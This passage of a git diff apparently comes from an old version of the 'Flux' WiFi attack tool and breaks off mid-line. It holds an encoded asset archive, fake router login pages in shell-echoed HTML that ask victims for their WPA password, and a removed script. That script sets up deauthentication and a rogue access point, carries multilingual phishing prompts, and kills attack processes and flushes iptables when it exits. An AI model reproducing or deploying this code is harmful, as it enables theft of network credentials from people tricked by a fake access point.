-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 -" | base64 -d >$DUMP_PATH/file.zip - - unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device - rm $DUMP_PATH/file.zip &>$flux_output_device - - echo " - - - Login - - - - - - - -
    -
    -

    Login Page

    -
    - -
    - - "$DIALOG_WEB_OK" -
    - -
    - -
    -
    -
    -
    -

    -
    - -
    - -
    - -
    -
    -
    - - - ">$DUMP_PATH/data/final.html - echo " - - - Login - - - - - - -
    -
    -

    Login Page

    -
    - -
    - - "$DIALOG_WEB_ERROR" -
    - "$DIALOG_WEB_BACK" - -
    - -
    - -
    -
    -
    -
    -

    -
    - -
    - -
    - -
    -
    -
    - - - ">$DUMP_PATH/data/error.html - - echo " - - - Login - - - - - - - -
    -
    -

    Login Page

    -
    - -
    -
    -
    -
    - -
    ESSID:
    - -
    $Host_SSID
    - -
    BSSID:
    - -
    $Host_MAC
    - -
    Chan:
    - -
    $Host_CHAN
    - -
    - -
    - - "$DIALOG_WEB_INFO" -
    - -
    - - - -
    - -
    - -
    - -
    -
    -
    -
    -

    -
    - -
    - -
    - -
    -
    -
    - - - ">$DUMP_PATH/data/index.htm - -} -######################################### < INTERFACES WEB > ######################################## - - -mostrarheader && setresolution && setinterface diff --git a/old/version.2/flux.old b/old/version.2/flux.old deleted file mode 100644 index 68ab844..0000000 --- a/old/version.2/flux.old +++ /dev/null @@ -1,4658 +0,0 @@ -#!/bin/bash - -########## DEBUG Mode ########## -## ## - FLUX_DEBUG=0 -## ## -################################ - - - - -clear - -##################################### < CONFIGURATION > ##################################### - - -DUMP_PATH="/tmp/TMPflux" -# Number de desautentificaciones -DEAUTHTIME="30" -revision=5 -version=0.17 -IP=192.168.1.1 -RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) - -#Colores -white="\033[1;37m" -grey="\033[0;37m" -red2="\033[0;35m" -red="\033[1;31m" -green="\033[1;32m" -yellow="\033[1;33m" -blue="\033[1;34m" -transparent="\e[0m" -############################################################################################## - -# DEBUG MODE = 1 ; DEBUG MODE = 0 [Normal Mode / Developer Mode] -if [ $FLUX_DEBUG = 1 ]; then - ## Developer Mode - export flux_output_device=/dev/stdout - HOLD="-hold" -else - ## Normal Mode - export flux_output_device=/dev/null - HOLD="" -fi - -# Delete Log only in Normal Mode ! -function conditional_clear() { - - if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi -} - -# Check Updates -function checkupdatess { - - revision_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/deltaxflux/flux" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" - if [ -z "$revision_online" ]; then - echo "?">$DUMP_PATH/Irev - else - echo "$revision_online">$DUMP_PATH/Irev - fi - -} - -# Animation -function spinner { - - local pid=$1 - local delay=0.15 - local spinstr='|/-\' - while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do - local temp=${spinstr#?} - printf " [%c] " "$spinstr" - local spinstr=$temp${spinstr%"$temp"} - sleep $delay - printf "\b\b\b\b\b\b" - done - printf " \b\b\b\b" -} - -# ERROR Report only in Developer Mode -# FLUXION = Developer Mode -# Fluxass = Normal Mode -if [ "$FLUX_DEBUG" = "1" ]; then - trap 'err_report $FLUXION' ERR -fi - -# ERROR Report Normale Mode -function err_report { - echo "Error en la fluxass $1" -} - - -#If the script exits unexpectedly -trap exitmode SIGINT SIGHUP - -# KILL ALL -function exitmode { - - echo -e "\n\n"$white"["$red" "$white"] "$red"Cleaning and closing"$transparent"" - - if ps -A | grep -q aireplay-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"aireplay-ng"$transparent"" - killall aireplay-ng &>$flux_output_device - fi - - if ps -A | grep -q airodump-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"airodump-ng"$transparent"" - killall airodump-ng &>$flux_output_device - fi - - if ps a | grep python| grep fakedns; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"python"$transparent"" - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - fi - - if ps -A | grep -q hostapd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"hostapd"$transparent"" - killall hostapd &>$flux_output_device - fi - - if ps -A | grep -q lighttpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"lighttpd"$transparent"" - killall lighttpd &>$flux_output_device - fi - - if ps -A | grep -q dhcpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"dhcpd"$transparent"" - killall dhcpd &>$flux_output_device - fi - - if ps -A | grep -q mdk3; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"mdk3"$transparent"" - killall mdk3 &>$flux_output_device - fi - - if [ "$WIFI_MONITOR" != "" ]; then - echo -e ""$white"["$red"-"$white"] "$white"Stopping interface "$green "$WIFI_MONITOR"$transparent"" - airmon-ng stop $WIFI_MONITOR &> $flux_output_device - fi - - - - if [ "$WIFI" != "" ]; then - echo -e ""$white"["$red"-"$white"] "$white"Stopping interface "$green "$WIFI"$transparent"" - airmon-ng stop $WIFI &> $flux_output_device - fi - - if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then - echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"ipforwarding"$transparent"" - echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding - fi - - echo -e ""$white"["$red"-"$white"] "$white"Cleaning "$grey"iptables"$transparent"" - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - - echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"tput"$transparent"" - tput cnorm - - if [ $FLUX_DEBUG != 1 ]; then - - echo -e ""$white"["$red"-"$white"] "$white"Delete "$grey"files"$transparent"" - rm -R $DUMP_PATH/* &>$flux_output_device - fi - - echo -e ""$white"["$red"-"$white"] "$white"Restarting "$grey"NetworkManager"$transparent"" - service restart network-manager &> $flux_output_device & - - echo -e ""$white"["$green "+"$white"] "$green "Cleaning performed successfully!"$transparent"" - exit - -} - -# Genera listado de Interfaces en el Script -readarray -t webinterfaces < <(echo -e "Web Interface -\e[1;31mExit"$transparent"" -) - -# Genera listado de Idiomas web -readarray -t webinterfaceslenguage < <(echo -e "Engish [ENG] -Spanish[ESP] GERMAN [GER] -\e[1;31mBack"$transparent"" -) - -#Language for Web Interface -#GER -DIALOG_WEB_INFO_GER="Aus Sicherheitsgründen, geben sie bitte "$Host_ENC" den WPA2 Schlüssel ein" -DIALOG_WEB_INPUT_GER="Geben sie den WPA2 Schlüssel ein" -DIALOG_WEB_SUBMIT_GER="Bestätigen" -DIALOG_WEB_ERROR_GER="Error: Das eingegebene Passwort ist nicht Korrekt!" -DIALOG_WEB_OK_GER="Die Verbindung wird in wenigen Sekunden wiederhergestellt" -DIALOG_WEB_BACK_GER="Back" -DIALOG_WEB_LENGHT_MIN_GER="Das Passwort muss länger als 7 Zeichen sein" -DIALOG_WEB_LENGHT_MAX_GER="Das Passwort muss kürzer als 64 Zeichen sein" - -#EN -DIALOG_WEB_INFO_ENG="For security reasons, enter the "$Host_ENC" key to access the Internet" -DIALOG_WEB_INPUT_ENG="Enter your WPA password:" -DIALOG_WEB_SUBMIT_ENG="Submit" -DIALOG_WEB_ERROR_ENG="Error: The entered password is NOT correct!" -DIALOG_WEB_OK_ENG="Your connection will be restored in a few moments." -DIALOG_WEB_BACK_ENG="Back" -DIALOG_WEB_LENGHT_MIN_ENG="The password must be more than 7 characters" -DIALOG_WEB_LENGHT_MAX_ENG="The password must be less than 64 characters" - -#ESP -DIALOG_WEB_INFO_ESP="Por razones de seguridad, introduzca la contraseña "$Host_ENC" para acceder a Internet" -DIALOG_WEB_INPUT_ESP="Introduzca su contraseña WPA:" -DIALOG_WEB_SUBMIT_ESP="Enviar" -DIALOG_WEB_ERROR_ESP="Error: La contraseña introducida NO es correcta!" -DIALOG_WEB_OK_ESP="Su conexión se restablecerá en breves momentos." -DIALOG_WEB_BACK_ESP="Atrás" -DIALOG_WEB_LENGHT_MIN_ESP="La clave debe ser superior a 7 caracteres" -DIALOG_WEB_LENGHT_MAX_ESP="La clave debe ser inferior a 64 caracteres" - -#IT -DIALOG_WEB_INFO_IT="Per motivi di sicurezza, immettere la chiave "$Host_ENC" per accedere a Internet" -DIALOG_WEB_INPUT_IT="Inserisci la tua password WPA:" -DIALOG_WEB_SUBMIT_IT="Invia" -DIALOG_WEB_ERROR_IT="Errore: La password NON è corretta!" -DIALOG_WEB_OK_IT="La connessione sarà ripristinata in pochi istanti." -DIALOG_WEB_BACK_IT="Indietro" -DIALOG_WEB_LENGHT_MIN_IT="La password deve essere superiore a 7 caratteri" -DIALOG_WEB_LENGHT_MAX_IT="La password deve essere inferiore a 64 caratteri" - -#FR -DIALOG_WEB_INFO_FR="Pour des raisons de sécurité, veuillez introduire "$Host_ENC" votre clé pour acceder à Internet" -DIALOG_WEB_INPUT_FR="Entrez votre clé WPA:" -DIALOG_WEB_SUBMIT_FR="Valider" -DIALOG_WEB_ERROR_FR="Error: La clé que vous avez introduit NOT est incorrecte!" -DIALOG_WEB_OK_FR="Veuillez patienter quelques instants." -DIALOG_WEB_BACK_FR="Précédent" -DIALOG_WEB_LENGHT_MIN_FR="La passe dois avoir plus de 7 digits" -DIALOG_WEB_LENGHT_MAX_FR="La passe dois avoir moins de 64 digits" - -#POR -DIALOG_WEB_INFO_POR="Por razões de segurança, digite a senha para acessar a Internet" -DIALOG_WEB_INPUT_POR="Digite sua senha WPA" -DIALOG_WEB_SUBMIT_POR="Enviar" -DIALOG_WEB_ERROR_POR="Erro: A senha digitada NÃO está correto !" -DIALOG_WEB_OK_POR="Sua conexão é restaurada em breve." -DIALOG_WEB_BACK_POR="Voltar" -DIALOG_WEB_LENGHT_MIN_POR="A senha deve ter mais de 7 caracteres" -DIALOG_WEB_LENGHT_MAX_POR="A chave deve ser menor que 64 caracteres" - -# Design -function mostrarheader(){ - - conditional_clear - echo -e "$green #########################################################" - echo -e "$green # #" - echo -e "$green #$red FLUX $version" "${yellow}by ""${blue}deltax""$green #"${blue} - echo -e "$green #""${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}N""${yellow}ot a ""${red}S""${yellow}ocial ""${red}E""${yellow}nginering" "${red}T""${yellow}ool""$green #" - echo -e "$green # #" - echo -e "$green #########################################################""$transparent" - echo - echo -} - -##################################### < CONFIGURACION > ##################################### - - - - - - -############################################## < START > ############################################## - - -if ! [ $(id -u) = "0" ] 2>/dev/null; then - echo -e "\e[1;31mYou don't have admin privilegies"$transparent"" - exit -fi - -# Check requirements -function checkdependences { - - echo -ne "Aircrack-ng....." - if ! hash aircrack-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Aireplay-ng....." - if ! hash aireplay-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Airmon-ng......." - if ! hash airmon-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Airodump-ng....." - if ! hash airodump-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Awk............." - if ! hash awk 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Curl............" - if ! hash curl 2>/dev/null; then - echo -e "\e[1;31mNot 